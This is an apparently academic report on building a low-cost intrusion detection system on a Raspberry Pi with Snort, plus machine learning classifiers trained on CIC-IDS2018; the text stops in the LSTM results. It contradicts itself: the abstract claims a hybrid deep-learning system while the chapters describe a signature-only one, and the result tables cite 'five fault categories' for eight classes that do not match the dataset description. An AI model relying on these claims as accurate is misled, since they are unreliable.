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Abstract

This project focuses on the design and implementation of a hybrid Intrusion Detection System
(IDS) deployed on a Raspberry Pi 5. The system combines traditional signature-based tools
such as Snort and Suricata with a deep learning model trained on the CSE-CIC-IDS2018
dataset to enhance detection accuracy. A web interface built with Flask provides remonitoring
and visualization of alerts. Various cyberattacks were simulated—including DoS, Heartbleed,
and port scans—to evaluate the system’s effectiveness. Experimental results demonstrate high
detection accuracy and low false positive rates, validating the feasibility of deploying
intelligent IDS solutions on resource-constrained devices. The project highlights the potential
of integrating machine learning with open-source IDS tools for small-scale or IoT-based
networks.

Keywords: Intrusion Detection System, Raspberry Pi, Snort, Suricata, Deep Learning,
Cybersecurity, Network Security, Flask.



Résumé

Ce projet porte sur la conception et I’implémentation d’un systéme de détection d'intrusion
hybride (IDS) déployé sur un Raspberry Pi 5. Le systeme combine des outils traditionnels
basés sur les signatures, tels que Snort et Suricata, avec un modele d’apprentissage profond
entrainé sur le jeu de données CSE-CIC-IDS2018 pour améliorer la précision de détection.
Une interface web, développée avec Flask, permet une surveillance,la visualisation des
alertes. Diverses attaques informatiques ont été¢ simulées (DoS, Heartbleed, scans de ports)
pour évaluer les performances du systeme. Les résultats expérimentaux montrent une
précision élevée de détection avec un faible taux de faux positifs, validant ainsi la faisabilité
d’un IDS intelligent sur des appareils a faibles ressources. Le projet démontre le potentiel de
l'intégration de l'apprentissage automatique avec des outils IDS open-source dans des réseaux
a petite échelle ou IoT.

Mots-clés : Systeme de détection d'intrusion, Raspberry Pi, Snort, Suricata, Apprentissage
profond, Cybersécurité, Sécurité réseau, Flask.
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GENERAL INTRODUCTION

In recent years, the increasing complexity of network infrastructures—combined with the
growing number of security threats—has emphasized the need for effective, scalable, and af-
fordable cybersecurity solutions. Intrusion Detection Systems (IDS) play a crucial role in
safeguarding computer networks by identifying unauthorized or malicious activity that may
compromise the confidentiality, integrity, or availability of systems. Traditionally, IDS tech-
nologies have been deployed on enterprise-grade servers; however, advancements in low-cost
computing platforms have opened the door for lightweight implementations suitable for small
networks and resource-constrained environments.

One such platform is the Raspberry Pi, a compact and affordable single-board computer
widely used in educational, industrial, and research settings. Its flexibility and sufficient pro-
cessing power make it a viable candidate for hosting basic security tools, including IDS com-
ponents. Despite its limitations in terms of processing speed and memory, the Raspberry Pi
can run efficient IDS software when properly configured, making it an excellent choice for
small office/home office (SOHO) networks, Internet of Things (IoT) environments, or academic
experimentation.

This project focuses on the design and implementation of a signature-based Intrusion Detec-
tion System using Snort on a Raspberry Pi device. The IDS is capable of monitoring network
traffic in real-time, detecting known attack patterns, and generating alerts when suspicious
behavior is identified. The system is tested using a variety of simulated attacks such as port
scanning, brute-force login attempts, and denial-of-service traffic, all of which are common in
both public and private networks.

To evaluate the system’s effectiveness, a range of open-source tools is used for traffic gener-

ation and analysis, including Nmap, Hping3, Hydra, and Wireshark. The implementation



also incorporates custom Python scripts to manage and analyze alert logs. The overall design
prioritizes simplicity, portability, and low-cost deployment while maintaining a functional level
of security coverage.

By exploring the intersection between cybersecurity and embedded computing, this project
contributes to the growing field of practical, accessible security solutions tailored to small-scale

environments.
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Chapter 1 Introduction to Intrusion Detection Systems and Project Overview

1.1 Introduction

This chapter provides a foundational overview of Intrusion Detection Systems (IDS), their
key classifications, and the motivation for deploying such systems in resource-constrained envi-
ronments. It introduces the Raspberry Pi as a low-cost, flexible platform capable of supporting
lightweight security mechanisms. The chapter also outlines the objectives and relevance of

implementing a signature-based IDS using open-source tools.

1.2 Background and Motivation

In recent years, the increasing reliance on digital systems and networked devices has signif-
icantly raised concerns about cybersecurity. As more services migrate to online platforms and
as the Internet of Things (IoT) expands [1], networks are becoming increasingly vulnerable to
malicious attacks. Traditional defense mechanisms, such as firewalls and antivirus software,
are often insufficient to counter modern threats, especially when dealing with sophisticated
intrusion attempts that can bypass basic security filters.

One effective solution to this challenge is the implementation of Intrusion Detection Systems
(IDS). An IDS monitors network traffic to detect suspicious activity and potential security
breaches. Among the various types of IDS, signature-based systems are widely used due to
their high accuracy in identifying known threats [2]. These systems rely on predefined patterns,
or "signatures,” of malicious activity to detect intrusions. However, many signature-based
IDS solutions require significant computational resources, which can be a barrier in resource-
constrained environments.

The emergence of affordable and compact devices like the Raspberry Pi presents a promising
opportunity for deploying lightweight security solutions. Raspberry Pi, with its low cost, porta-
bility, and moderate computing capabilities, is particularly suited for small networks, home au-
tomation systems, and educational environments. Leveraging its capabilities, this project aims
to build a signature-based IDS using Snort and Python on a Raspberry Pi platform, providing
a practical and cost-effective approach to network security.

The motivation behind this project stems from the need to offer accessible cybersecurity
tools for individuals, educational institutions, and small businesses that lack the resources for
high-end commercial IDS systems [3]. By combining open-source technologies with affordable

hardware, this project contributes to the democratization of network security.
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1.3 Problem Statement

As cyber threats continue to evolve, small-scale networks such as those found in homes,
schools, and small businesses remain particularly vulnerable due to limited security infrastruc-
ture [4]. Most commercial Intrusion Detection Systems are either too expensive or require
hardware resources beyond the reach of lightweight environments. Furthermore, existing tools
are often complex to configure and deploy, especially for users with limited technical expertise.

This project addresses the need for a low-cost, efficient, and easily deployable IDS solution
that can operate on a resource-constrained device like the Raspberry Pi. It aims to demonstrate
that effective intrusion detection is possible using open-source tools such as Snort and Python,

even in environments with limited computational power.

1.4 Objectives of the Project

1.4.1 General Objective

To develop a functional and lightweight signature-based Intrusion Detection System using

Snort and Python on a Raspberry Pi, aimed at improving the security of small-scale networks [5]

1.4.2 Specific Goals
e To install and configure Snort as a signature-based IDS on a Raspberry Pi.
e To integrate Python scripts for traffic monitoring, log analysis, or alert management.
e To evaluate the system’s performance in detecting known network threats.

e To ensure the solution is affordable, portable, and accessible to non-expert users.

1.5 Scope of the Project

1.5.1 Technologies Used

This project utilizes a Raspberry Pi as the hardware platform, with Snort serving as the core
signature-based Intrusion [6] Detection System. The implementation is supported by Python
for scripting tasks related to log processing, system automation, and alert handling. The project

also relies on open-source libraries and tools to maintain cost-efficiency.
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1.5.2 Limitations and Constraints

The system is designed primarily for small-scale networks and may not be suitable for high-
traffic or enterprise-level environments. Detection is limited to known attack signatures, mean-
ing that novel or unknown threats may go undetected. Additionally, the performance is con-
strained by the hardware capabilities of the Raspberry Pi, which may affect processing speed

under heavy load [7].
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1.6 Methodology Overview

1.6.1 Design Approach

The project follows a practical, implementation-focused approach. It begins with selecting
appropriate hardware and software tools, followed by system setup, configuration, and testing.

The design prioritizes simplicity, portability, and ease of replication [8].

1.6.2 Implementation Strategy

The system is built by installing Snort on a Raspberry Pi running a Linux-based OS. Python
is used to develop auxiliary scripts for automating updates, managing alerts, and possibly
visualizing traffic data. The IDS is tested in a controlled network environment using predefined
attack signatures to evaluate detection accuracy and performance [9].

(;\ Automate
& Updates

—

Develop
555 Python
Scripts

? Visualize
Install Snort % Traffic Data
on

Raspberry Pi

Evaluate
Detection
Accuracy

Test in
= [00] Controlled
Environment

¢ Evaluate

¥ Performance

Figure 1.3: Intrusion Detection System Setup and Testing

1.7 Structure of the Report

This report is structured into five main chapters, each addressing a specific aspect of the

project:
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e Chapter 1: Introduction to Intrusion Detection Systems and Project Overview
Introduces the fundamental concept of Intrusion Detection Systems (IDS), outlines the
project motivation, problem statement, objectives, scope, and the general methodology

adopted throughout the research and implementation process.

e Chapter 2: Research and System Design
Presents a comprehensive literature review of IDS techniques, their classifications, and
their relevance to low-resource environments such as the Raspberry Pi. This chapter also
explores typical network threats, the selection criteria for technologies used, and provides

architectural and data flow diagrams to guide system planning.

e Chapter 3: Model Training, Evaluation, and Comparative Analysis
Describes the machine learning model development lifecycle, including dataset prepara-
tion, model selection, training, evaluation metrics, and validation results. Additionally,
this chapter compares the performance of the trained model with traditional signature-

based detection systems like Snort and Suricata.

e Chapter 4: Testing and Results
Details the testing environment, attack simulation methods, and real-time evaluation of
the IDS. It includes analysis of incident detection, logging behavior, detection rates, false

positives, and observed limitations under different attack scenarios.

e Chapter 5: System Architecture and Implementation
Explains the final architecture of the system, detailing how the software and hardware
components interact. The chapter includes architectural, use case, and sequence dia-
grams, and describes the implementation steps on the Raspberry Pi. It concludes with
a discussion of system integration, deployment challenges, and efficiency on constrained

hardware.

1.8 Conclusion

The concepts introduced in this chapter establish the theoretical basis for the project, high-
lighting the importance of network security and justifying the choice of technology. With an
understanding of IDS types and the capabilities of the Raspberry Pi, the groundwork is set for

a deeper investigation into related research and system design in the following chapter.
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Chapter 2 Research and System Design

2.1 Introduction

This chapter explores existing research related to IDS technologies and lightweight imple-
mentations on devices such as the Raspberry Pi. It presents an overview of attack types
commonly targeting small networks and IoT systems, as well as the tools and architectural
components used in this project. The aim is to define a clear and practical design approach for

building an efficient IDS.

2.2 Literature Review on IDS and Raspberry Pi

Intrusion Detection Systems (IDS) have become a fundamental component in securing mod-
ern networks, especially as cyber threats grow in complexity and frequency. The use of resource-
constrained devices such as the Raspberry Pi has opened new avenues for lightweight, cost-
effective IDS implementations. Several related studies and practical deployments demonstrate
various approaches to building IDS on Raspberry Pi platforms. This section highlights and

compares some notable works relevant to this project.

2.2.1 Related Studies and Projects
A. Rule-based Pi IDS

This project involves a rule-based intrusion detection system built on a Raspberry Pi. It uti-
lizes Scapy, a powerful Python-based packet manipulation tool, to capture and analyze network
packets. The system applies a set of detection rules similar to Snort’s signature mechanism.
While Snort is still used to define rules, Scapy handles the packet capture and parsing logic [10].

The system is designed to log alerts locally whenever packets match predefined patterns.
It is lightweight and customizable but lacks the advanced processing capabilities of full Snort
deployments. It serves as a clear example of how open-source tools can be adapted for minimal
environments [10].

Key Features:
e Packet capture and analysis with Scapy.
e Rule-based detection inspired by Snort.

e Local alert logging with basic reporting.
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B. Snort IDPS (IJERT Paper)

Published in the International Journal of Engineering Research & Technology (IJERT), this
study presents a practical setup using Snort on Raspberry Pi 4, combined with a honeypot
to attract malicious traffic. The system stores alerts locally in a database, enabling further
analysis [11].

The study emphasizes operational challenges such as thermal management, noting that the
Pi 4 tends to overheat during continuous packet analysis. It offers practical insights into per-
formance tuning and environmental considerations when deploying IDS solutions on embedded
systems [11].

Key Features:
e Real-world deployment with Snort and honeypot.
e Local database for alert storage.

e Highlights thermal and performance challenges.

C. Suricata + ELK Stack (Reddit Deployment)

This is a user-driven deployment shared on Reddit, showcasing the use of Suricata as an
IDS on Raspberry Pi 4. The captured traffic is processed and forwarded to an ELK stack
(Elasticsearch, Logstash, Kibana) for visualization and analysis. To reduce memory usage,
Fluent Bit is used as a lightweight data forwarder instead of Logstash [12].

The project demonstrates that Raspberry Pi can handle moderate data loads and still func-
tion effectively when paired with external processing tools. The dashboard approach enhances
usability and visibility [12].

Key Features:

e Suricata-based IDS on Raspberry Pi.
e Integration with ELK stack for visualization.

e Fluent Bit used for lightweight log forwarding.
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2.2.2 Comparison Table

Study/Project| Tools Used | Packet Alert Man- | Strengths Limitations
Handling agement
Rule-based Scapy, Snort | Captured via | Local logging | Lightweight, | Lacks ad-
Pi IDS [10] rules Scapy highly  cus- | vanced  de-
tomizable tection  and
scalability
Snort IDPS | Snort, Honey- | Snort native | Local DB | Realistic Thermal
(IJERT) [11] | pot, SQLite | engine storage setup,  logs | issues, man-
(DB) stored locally, | ual ~ tuning
security lure | needed
Suricata  + | Suricata, Flu- | Suricata en- | Remote Visualization, | Requires ex-
ELK [12] ent Bit, ELK | gine (Elastic- scalable log | ternal system,
Stack Search + | analysis higher setup
Kibana) cost
Current Snort, Snort engine | Local  alert | Balance No ELK/-
Study (This | Python, + Python | file + Python | between sim- | dashboard,
Project) Raspberry Pi | logs scripts plicity  and | limited
detection to known
power threats

Table 2.1: Comparison of IDS Implementations on Raspberry Pi

2.2.3 Types of IDS (Signature-based, Anomaly-based, Hybrid)

Intrusion Detection Systems (IDS) can be broadly classified into three main types based on

their detection approach: Signature-based, Anomaly-based, and Hybrid systems. Each

type has its own strengths and limitations [13], and the choice depends on the context of

deployment, the available resources, and the desired level of accuracy.

10
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A. Signature-based IDS

Signature-based IDS rely on predefined patterns or “signatures” of known threats to identify

intrusions [14]. These signatures are typically derived from historical data about malware,

attack behaviors, and exploit techniques.

Advantages:
e High accuracy in detecting known threats.

e Low false-positive rate when rules are well-defined.

Limitations:
e Unable to detect new or unknown attacks (zero-day threats).
e Requires frequent updates to maintain an up-to-date rule set.

FExample: Snort is a widely used open-source signature-based IDS.

B. Anomaly-based IDS

Anomaly-based IDS monitor system behavior and flag deviations from a defined baseline as
potential intrusions. These systems often use statistical models, heuristics, or machine learning
techniques to learn “normal” behavior.

Advantages:
e Can detect unknown or zero-day attacks.

e Suitable for dynamic or unpredictable environments.

Limitations:
e High false-positive rates, especially during the learning phase.
e Requires a well-defined and stable baseline.

Ezample: Tools using behavioral analysis or AI/ML methods fall into this category.

C. Hybrid IDS

Hybrid IDS combine both signature-based and anomaly-based techniques to leverage the

strengths of each [13]. They aim to improve detection accuracy while reducing false positives.

Advantages:

11
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e More comprehensive detection coverage.

e Can detect both known and unknown threats.
Limitations:

e Higher computational and memory requirements.
e More complex to configure and maintain.

FExample: Some enterprise-grade IDS solutions and modern research projects use hybrid

approaches for enhanced detection.

This project adopts the signature-based approach due to its simplicity, reliability for
known threats, and efficient performance on resource-constrained devices like the Raspberry

Pi.

2.3 Threats in Small Networks and IoT

Small networks—such as those used in homes, small businesses, or educational environ-
ments—often lack the advanced security infrastructure found in larger enterprise systems. At
the same time, the growth of Internet of Things (IoT) devices has introduced new vulnerabili-
ties [15], as many IoT components are minimally secured by default and are always connected
to the network. These factors make small networks an attractive target for attackers.

Several common security threats affect these environments:

A. Port Scanning

Port scanning is a technique used by attackers to discover open ports and available services
on a target system. Tools like Nmap can perform detailed scans to identify network weaknesses.
Although port scans are not attacks by themselves, they are often the first step in a planned

intrusion.

Risks:
e Reveals network structure and services.

e Enables targeting of specific vulnerabilities.
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B. Denial of Service (DoS) Attacks

A DoS attack aims to overwhelm a system’s resources, making it unavailable to legitimate

users. In small networks with limited bandwidth or processing power, even simple DoS attempts

can be effective.

Common Tools:

e Hping3, LOIC (used to simulate DoS floods in testing environments).

Impact:
e System crashes or slowdowns.

e Service interruption, affecting reliability.

C. Brute Force Attacks

Brute force attacks involve trying many combinations of usernames and passwords to gain

unauthorized access. This is especially common in networks with poorly secured routers, cam-

eras, or IoT devices.

Example Tool:

e Hydra — a widely used tool for automating brute force logins.
Impact:

e Unauthorized access to systems.

e Potential for further internal exploitation.

D. Eavesdropping and Packet Sniffing

In unsecured wireless or wired networks, attackers may intercept data transmitted over

the network. Tools like Wireshark allow passive monitoring of traffic, potentially exposing

sensitive data.

Risks:
e Exposure of credentials or private communication.

e Intelligence gathering for future attacks.

13
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These threats are particularly dangerous in loT-heavy environments where devices are often
poorly maintained or lack regular security updates. Deploying a lightweight IDS on systems
like Raspberry Pi offers a proactive layer of defense by identifying and responding to these

common threats.

2.4 Technology Stack and Tools

The implementation of an IDS on a Raspberry Pi requires the careful selection of software
tools and technologies that are lightweight yet effective [16]. This section outlines the main
components used in the project, including the simulation tools for testing, the overall system

architecture, and the packet capture strategy.

2.4.1 Attack Simulation Tools

To evaluate the effectiveness of the IDS, several open-source tools were used to simulate

common network attacks:

e Nmap: Used to perform port scans and network reconnaissance. Nmap helps identify

open ports, services, and vulnerabilities on target systems.

e Hping3: A packet crafting tool used to simulate Denial of Service (DoS) attacks by
sending large volumes of custom TCP/UDP/ICMP packets.

e Hydra: A fast and flexible tool for launching brute force attacks against various protocols
(e.g., SSH, FTP, HTTP). It is used to test the system’s ability to detect unauthorized

access attempts.

e Wireshark: A network protocol analyzer used for monitoring and validating captured
traffic. It assists in visualizing how attacks appear on the network and how the IDS

responds to them.

These tools help generate realistic malicious traffic for testing the IDS performance and

detection accuracy.

2.4.2 Communication Flow and Packet Capture Strategy

The IDS monitors traffic in real time by listening to packets on the network interface in

promiscuous mode. The following describes the strategy:
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e Packet Capture: Snort listens to traffic coming through the Raspberry Pi’s Ether-
net or Wi-Fi interface. It uses pre-configured and custom rules to match known threat

signatures.

e Traffic Analysis: Once a packet matches a rule, Snort generates an alert, which is logged
in a specific format. These logs are then accessed or processed via Python for further

analysis or notification.

e Alert Logging: Alerts are stored locally in files such as alert.fast or alert.full,

which are periodically parsed or displayed through terminal interfaces.

e Response (Optional): Although this project does not implement automatic blocking,

future versions could extend the system to take automated action (e.g., blocking IPs).

This packet capture and processing strategy ensures efficient detection while staying within

the limited resource constraints of the Raspberry Pi.

2.5 System Architecture and Design Diagram

The design of the Intrusion Detection System (IDS) implemented in this project reflects a
balance between simplicity, functionality, and hardware limitations. The architecture is mod-
ular and designed to be easily replicated or extended in similar environments, particularly in

small networks or IoT deployments.

2.5.1 System Architecture Overview

The IDS system is composed of the following interconnected components:

e Raspberry Pi (Model 5): Acts as the host device for the IDS. It runs Kali Linux, a

lightweight but powerful OS for penetration testing and network monitoring.

e Snort: A signature-based intrusion detection engine installed on the Raspberry Pi. It
scans all incoming and outgoing packets against a rule base and generates alerts for any

suspicious activity.

e Python Scripts: Custom scripts are used to parse Snort’s alert logs, monitor activity,

and (optionally) prepare data for reporting or integration with external tools in the future.
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e Attack Simulation Devices: A separate machine on the same LAN is used to simulate
attacks using tools like Nmap, Hping3, and Hydra. This ensures that the IDS is tested

in real-time under realistic traflic scenarios.

e Network Topology: All components are connected through a local area network (LAN),
with traffic routed through a switch or router to which the Raspberry Pi is connected in

monitoring mode.

2.5.2 Architecture Diagram Description

Figure 2.1 and 2.2 presents a visual overview of the system architecture. It shows how
network traffic flows through the LAN and is monitored by the IDS installed on the Raspberry
Pi. The attack simulation device generates traffic that is analyzed by Snort, and alerts are

processed via Python scripts.

Attack SimulationDevice (e.g., Nmap) Traffic Switch / Router

Monitored Traffic

[Raspberry Pi(Kali Linux)j

Snort IDS

Python Scripts

Logs, Alert Parsing, Reports

Figure 2.1: System Architecture of the IDS on Raspberry Pi
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Figure 2.2: IDS architecture within a LAN setup

This modular architecture allows for easy debugging, flexible testing, and potential upgrades,

making it ideal for lightweight IDS deployments in constrained environments.

2.6 Conclusion

Through the review of related work, analysis of common threats, and presentation of the
system’s design and toolset, this chapter establishes the technical foundation of the project.
The architecture and strategy developed here will guide the implementation and testing phases

detailed in the next chapters.
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3.1 Introduction

This chapter presents the methodology for training and evaluating multiple machine learning
models for intrusion detection using a labeled dataset comprising over 3.4 million network traffic
records. The dataset includes various attack types distributed across four specific days.

The models explored include Decision Tree, Random Forest, K-Nearest Neighbors (KNN),
and a deep learning model based on Long Short-Term Memory (LSTM) networks. The aim is to
compare their performance in terms of accuracy, precision, recall, and computational efficiency.

These models were selected for the following reasons:

e Decision Tree: Offers interpretability and fast training. Suitable for understanding the

key features behind classification.

e Random Forest: An ensemble method that reduces overfitting and improves general-

ization by averaging multiple Decision Trees.

e K-Nearest Neighbors (KNN): A simple yet effective instance-based learner that per-

forms well in low-dimensional spaces and helps establish a performance baseline.

e LSTM (Long Short-Term Memory): A type of recurrent neural network capable of
learning temporal dependencies in sequential data, which is valuable for modeling patterns

in network traffic over time.

By evaluating these models, we aim to identify the most suitable approach for efficient and

accurate intrusion detection. precision, recall, and computational efficiency.

3.2 Dataset Overview and Attack Categories

In this project, the CIC-IDS2018 dataset [17] was selected as the primary data source for
training and evaluating machine learning models. This dataset is widely recognized for its
comprehensive coverage of both benign and malicious network traffic. It was generated under
realistic network conditions, including diverse attack scenarios such as DoS, DDoS, brute-force,
botnet, and infiltration attacks. Each record is labeled, making it suitable for supervised
learning tasks.

The CIC-IDS2018 dataset was chosen for several reasons:
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e Realistic traffic: The dataset simulates real-world network environments, which helps
models generalize better to practical deployment, including on small-scale or IoT net-

works.

e Variety of attacks: It includes a broad spectrum of up-to-date attack types, making it

ideal for training a versatile IDS capable of detecting multiple intrusion vectors.

e Labeled data: The availability of well-labeled instances allows for supervised machine

learning, enabling accurate training, validation, and testing of models.

e Scalability: The dataset contains over 3 million records, providing a large volume of
data necessary for training deep learning models such as LSTM, while still allowing for

pre-processing and downsampling to fit the resource constraints of the Raspberry Pi.

e Public and reproducible: As an open and widely used dataset, CIC-IDS2018 ensures

reproducibility of experiments and allows comparison with existing IDS research.

This dataset thus offers the balance of realism, variety, and volume required to build and

test a practical IDS, especially one intended to run on edge devices like the Raspberry Pi

3.2.1 Source Files and Data Volume

While the complete dataset [17] spans multiple days of traffic, four specific CSV files were

selected for this study due to their diversity in attack scenarios and manageable data volume:

e 02-14-2018.csv
e 02-23-2018.csv
e 03-01-2018.csv

e 03-02-2018.csv

Together, these files contain over 3.4 million labeled network flow records. Each entry
includes dozens of features, such as protocol type, source and destination IPs, byte and packet

counts, durations, and statistical metrics over time windows.
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3.2.2 Attack Types by Date

The selected files cover a wide range of attacks, categorized by the date of capture. Table 3.1

summarizes the distribution of attack types per day.

Date Attack Types

02-14-2018 | Web Attack — Brute Force, XSS, SQL Injection
02-23-2018 | FTP-Patator, SSH-Patator

03-01-2018 | DoS Hulk, DoS GoldenEye, PortScan
03-02-2018 | Bot, Infiltration, PortScan, DDoS

Table 3.1: Attack Types by Date in Selected Files

All selected days also contain BENIGN traffic, which is crucial for training models to differ-

entiate normal behavior from intrusions.

3.2.3 Class Distribution and Imbalance Issues

A preliminary analysis of the dataset revealed significant class imbalance. Certain attack
types, such as DoS Hulk and PortScan, dominate the dataset with hundreds of thousands
of instances, while others—such as Infiltration—are underrepresented.

This imbalance poses challenges during training, as models may become biased toward fre-
quent classes, leading to poor detection of rare but critical attacks. To address this issue [18],

the following techniques were considered:

e Under-sampling of majority classes such as BENIGN and DoS traffic.
e Over-sampling of minority classes using techniques like SMOTE.

e Class weighting during model training to penalize misclassification of rare classes more

heavily.

These measures aim to enhance the generalization ability of models and improve detection

across all attack categories, especially low-frequency intrusions.

3.2.4 Class distribution

We noticed a significant imbalance in the classes, which could cause problems for our models

later on as shown in Figure 3.1.
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Figure 3.1: istribution of samples to categories

The three graphs shown in Figure 3.2 illustrate how certain network traffic characteristics
(bandwidth packet, minimum routing segment size, and initial routing win bytes) differ be-

tween benign and malicious categories. These visual differences highlight the potential of these

characteristics to help effectively classify network attacks.
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Figure 3.2: Traffic Feature Distribution by Label
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3.3 Data Preprocessing

Effective data preprocessing is a critical step in building reliable and generalizable machine
learning models. The raw network flow data in the CIC-IDS2018 dataset [17] includes a large
number of features, some of which are irrelevant, redundant, or improperly formatted for train-

ing purposes. This section describes the preprocessing pipeline used prior to model training.

3.3.1 Feature Selection and Engineering

The original CIC-IDS2018 dataset contains more than 80 features, many of which are derived
metrics or protocol-level indicators. To reduce computational complexity and focus on the most
informative attributes for intrusion detection, a structured feature selection process was applied

based on the following criteria:

e Correlation Analysis: Pearson correlation was used to evaluate the statistical relation-
ship between each feature and the class labels. Highly redundant or irrelevant features

were discarded.

e Domain Knowledge: Features known to be relevant to intrusion patterns—such as

packet counts, byte flow rates, and timing-related attributes—were retained.

e Data Type Filtering: Non-numeric fields (e.g., Flow ID, Source IP, Timestamp)
were excluded since they do not contribute to learning and increase preprocessing com-

plexity.
The final selected feature set included the following attributes:

e Flow Duration: Total time (in microseconds) of the network flow. Useful for identifying

long-lasting or short-burst attacks.

e Total Fwd Packets: Number of packets sent from source to destination. High volumes

may indicate scanning or flooding.

e Total Backward Packets: Number of packets returned from destination to source.

Disproportionate counts can flag suspicious behavior.

e Flow Bytes/s: Average byte rate of the flow. Useful in spotting abnormal data exfil-

tration or slow, stealthy attacks.
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Flow Packets/s: Packet rate per second in the flow. Helps detect bursty patterns seen

in DoS or brute-force attacks.

e Packet Length Mean: Average size of packets. Attack traffic often uses packets of

unusual length to avoid detection.

e Fwd Packet Length Max: Maximum packet size in the forward direction. Large values

may suggest file transfers or exploitation payloads.

e Bwd Packet Length Std: Standard deviation of packet sizes in the backward direction.

High variance can indicate inconsistent or evasive responses.

e Flow IAT Mean: Mean inter-arrival time between packets. Irregular timing patterns

often suggest automated or malicious behavior.

This feature selection process effectively reduced the dataset’s dimensionality, improved
training speed, and enhanced model interpretability, making it more suitable for deployment

on a resource-constrained platform such as the Raspberry Pi.

3.3.2 Label Encoding and Normalization

The class labels (e.g., DoS Hulk, Benign, PortScan) were transformed using label encod-
ing to convert them into numerical form, suitable for classification models in scikit-learn
and similar libraries.

In addition, all selected features were normalized using Min-Max scaling, bringing them
into a standardized range between 0 and 1. This normalization is crucial for distance-based

algorithms like KNN and also improves convergence for neural networks.

3.3.3 Handling Missing and Redundant Data

Several rows in the dataset contained invalid entries such as NaN values, infinite values, or
artifacts from zero-division errors. These often appeared in fields like Flow Bytes/s and
Flow Packets/s. Such rows were excluded from the dataset to avoid training instability.

Further, duplicated entries and records with constant-valued features (i.e., zero variance)

were removed to maintain a diverse and meaningful training set.
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3.3.4 Train-Test Split Strategy

To ensure fair model evaluation, the cleaned dataset was split into training and testing
sets using an 70/30 stratified split As shown in Figure 3.3. Stratification preserved the class
distribution across both subsets, ensuring that each attack type was proportionally represented

in training and evaluation phases.

30% Testing Data

70% Training Data

Figure 3.3: Data Splitting for Machine Learning

This preprocessing pipeline provided a clean, balanced, and machine-readable dataset, suit-

able for robust machine learning model training as described in the following section.
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Figure 3.4: Feature Correlation Heatmap

3.4 Model Selection and Training

To detect a wide range of network attacks with high accuracy, four machine learning models
were selected based on their suitability for multi-class classification and their prior success in
intrusion detection systems: Decision Tree, Random Forest, K-Nearest Neighbors (KNN), and

a deep learning model based on Long Short-Term Memory (LSTM) networks.
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3.4.1 Model Overview

To analyze and classify network traffic into benign or malicious categories, several machine
learning models were selected, each representing a distinct class of learning algorithms. This

section presents a brief overview of the models used in the evaluation phase.

e Decision Tree (DT): A supervised learning algorithm that uses a tree-like structure
to model decisions. It partitions the data space using recursive binary splitting based
on feature values. Decision Trees are highly interpretable and effective for structured,

tabular data.

e Random Forest (RF): An ensemble learning technique that constructs a multitude of
Decision Trees during training and outputs the class that is the mode of the individual tree
predictions. It leverages bagging (bootstrap aggregating) and random feature selection

to reduce variance and improve generalization.

e K-Nearest Neighbors (KNN): A non-parametric, instance-based learning algorithm.
Classification is performed by identifying the k closest data points (neighbors) in the
training set and assigning the majority class label. KNN is simple and effective, especially

when the distance metric is well-suited to the feature space.

e Long Short-Term Memory (LSTM): A type of Recurrent Neural Network (RNN)
specifically designed to capture long-term dependencies in sequential data. LSTMs are
particularly effective in modeling time-series patterns such as those found in network

flows, where temporal order and context are critical.

Each model offers a unique trade-off between interpretability, computational cost, and per-
formance on structured versus sequential data. This diversity enables comparative evaluation

under various scenarios.

3.4.2 Results and performance comparison of models
Decision Tree Classifier

Figure 3.5 shows the confusion matrix for the Decision Tree model, while Table 3.2 displays
the performance metrics of Decision Tree in classifying the five fault categories. The table

includes important metrics such as precision, recall, F'1 score, and overall accuracy.
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Figure 3.5: Confusion Matrix Decision Tree
Class Precision | Recall | F1-Score | Support
Benign 0.98 1.00 0.99 362,449
Bot 1.00 1.00 1.00 42,711
Brute Force - Web 0.97 0.97 0.97 36
Brute Force - XSS 1.00 1.00 1.00 18
FTP-BruteForce 0.84 1.00 0.91 21
Infiltration 0.54 0.18 0.27 9,157
SQL Injection 0.91 0.67 0.77 15
SSH-Bruteforce 1.00 1.00 1.00 28,157
Overall Accuracy 0.98 442,564

Table 3.2: Decision Tree Classification Report of the IDS Model on the Test Set
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Analysis : The Decision Tree performed very well on most classes, especially large ones like
Benign, Bot, and SSH-Bruteforce. However, it significantly underperformed on the Infiltration
class, likely due to data imbalance or the subtle characteristics of this attack type. The model

is interpretable and computationally efficient but may overfit to training data.

Random Forest Classifier

Figure 3.6 shows the confusion matrix for the Random Forest model, while Table 3.3 displays
the performance metrics of Random Forest in classifying the five fault categories. The table

includes important metrics such as precision, recall, F1 score, and overall accuracy.

Random Forest Confusion Matrix
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Figure 3.6: Confusion Matrix Random Forest
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Class Precision | Recall | F1-Score | Support
Benign 0.98 1.00 0.99 362,449
Bot 1.00 1.00 1.00 42,711
Brute Force - Web 1.00 0.97 0.99 36
Brute Force - XSS 1.00 1.00 1.00 18
FTP-BruteForce 0.84 1.00 0.91 21
Infiltration 0.61 0.17 0.26 9,157
SQL Injection 1.00 0.67 0.80 15
SSH-Bruteforce 1.00 1.00 1.00 28,157
Overall Accuracy 0.98 442,564

Table 3.3: Random Forest Classification Report of the IDS Model on the Test Set

Analysis : Random Forest slightly outperformed the Decision Tree in both accuracy and
macro average scores. It maintained excellent precision and recall across all frequent classes
and improved stability through ensembling. Nonetheless, performance on rare classes like
Infiltration and SQL Injection remains limited, indicating that data imbalance is still a major

factor.

K-Nearest Neighbors (KNN)

Figure 3.7 shows the confusion matrix for the KNN model, while Table 3.4 displays the per-
formance metrics of KNN in classifying the five fault categories. The table includes important

metrics such as precision, recall, F1 score, and overall accuracy.
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Figure 3.7: Confusion Matrix KNN
Class Precision | Recall | F1-Score | Support
Benign 0.98 1.00 0.99 362,449
Bot 1.00 1.00 1.00 42,711
Brute Force - Web 0.95 0.97 0.96 36
Brute Force - XSS 1.00 1.00 1.00 18
FTP-BruteForce 0.84 1.00 0.91 21
Infiltration 0.58 0.17 0.26 9,157
SQL Injection 1.00 0.53 0.70 15
SSH-Bruteforce 1.00 1.00 1.00 28,157
Overall Accuracy 0.98 442,564

Table 3.4: KNN Classification Report of the IDS Model on the Test Set
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Analysis : KNN showed comparable performance to the other classifiers with slightly more
variance. The method struggles with computational efficiency and high memory usage in large
datasets, which is especially relevant in real-time systems. Its performance degradation on rare

attack types also indicates sensitivity to noise and data distribution.

LSTM (Long Short-Term Memory)

Figure 3.8 shows the confusion matrix for the LSTM model, while Table 3.5 displays the per-
formance metrics of LSTM in classifying the five fault categories. The table includes important

metrics such as precision, recall, F1 score, and overall accuracy.
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Figure 3.8: Confusion Matrix LSTM
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Class Precision | Recall | F1-Score | Support
Benign 0.98 1.00 0.99 362,449
Bot 1.00 1.00 1.00 42,711
